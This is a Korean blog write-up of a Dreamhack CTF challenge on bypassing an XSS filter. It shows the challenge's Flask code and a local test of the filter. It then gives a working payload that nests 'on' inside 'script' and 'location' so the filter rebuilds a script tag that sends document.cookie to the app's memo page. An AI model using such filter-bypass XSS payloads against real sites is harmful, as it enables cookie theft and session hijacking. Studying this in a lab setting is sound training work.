XSS Filtering Bypass

mercure·2024년 8월 30일
0

Dreamhack

목록 보기
9/18

다른 xss-1,xss-2와 비슷하게 flag.html에서 진행하면 될 것 같다. 코드부터 살펴보겠다.
자세한 코드 흐름은 xss-1에 기술하였다.

코드분석

#!/usr/bin/python3
from flask import Flask, request, render_template
from selenium import webdriver
from selenium.webdriver.chrome.service import Service
import urllib
import os

app = Flask(__name__)
app.secret_key = os.urandom(32)

try:
    FLAG = open("./flag.txt", "r").read()
except:
    FLAG = "[**FLAG**]"


def read_url(url, cookie={"name": "name", "value": "value"}):
    cookie.update({"domain": "127.0.0.1"})
    try:
        service = Service(executable_path="/chromedriver")
        options = webdriver.ChromeOptions()
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome(service=service, options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get("http://127.0.0.1:8000/")
        driver.add_cookie(cookie)
        driver.get(url)
    except Exception as e:
        driver.quit()
        # return str(e)
        return False
    driver.quit()
    return True


def check_xss(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)

def xss_filter(text):
    _filter = ["script", "on", "javascript:"]
    for f in _filter:
        if f in text.lower():
            text = text.replace(f, "")
    return text

@app.route("/")
def index():
    return render_template("index.html")


@app.route("/vuln")
def vuln():
    param = request.args.get("param", "")
    param = xss_filter(param)
    return param


@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html")
    elif request.method == "POST":
        param = request.form.get("param")
        if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
            return '<script>alert("wrong??");history.go(-1);</script>'

        return '<script>alert("good");history.go(-1);</script>'


memo_text = ""


@app.route("/memo")
def memo():
    global memo_text
    text = request.args.get("memo", "")
    memo_text += text + "\n"
    return render_template("memo.html", memo=memo_text)


app.run(host="0.0.0.0", port=8000)

필터링

def xss_filter(text):
    _filter = ["script", "on", "javascript:"]
    for f in _filter:
        if f in text.lower():
            text = text.replace(f, "")
    return text
  • [script , on , javascript:] 가 있다면 "" 로 대체한다.

바로 차단해버리는게 아니라 ""지워버리기 때문에 이 부분에서 취약점이 발생할 것 같다.

xss-1 payload를 참고하였다

<script>location.href = '/memo?memo='+document.cookie;</script>

필터링 부분을 검증해보려고 코드를 직접 돌려보았다

def xss_filter(text):
    _filter = ["script", "on", "javascript:"]
    for f in _filter:
        if f in text.lower():
            text = text.replace(f, "")
    return text


a=input()

print(xss_filter(a))
  • input
<script>location.href = '/memo?memo='+document.cookie;</script>
  • output
<>locati.href = '/memo?memo='+document.cookie;</>

필터링이 ""으로 되고 코드의 흐름이 바뀌지 않기 때문에 그냥 on을 중간에 삽입해주니까 반환값이 아래와 같이 나왔다. 이 값을 넣어주면 memo에 플래그가 기록된다.

  • input
<scrionpt>locatioonn.href = '/memo?memo='+document.cookie;</scrionpt>
  • output
<script>location.href = '/memo?memo='+document.cookie;</script>

profile
하루에 한걸음씩

0개의 댓글

관련 채용 정보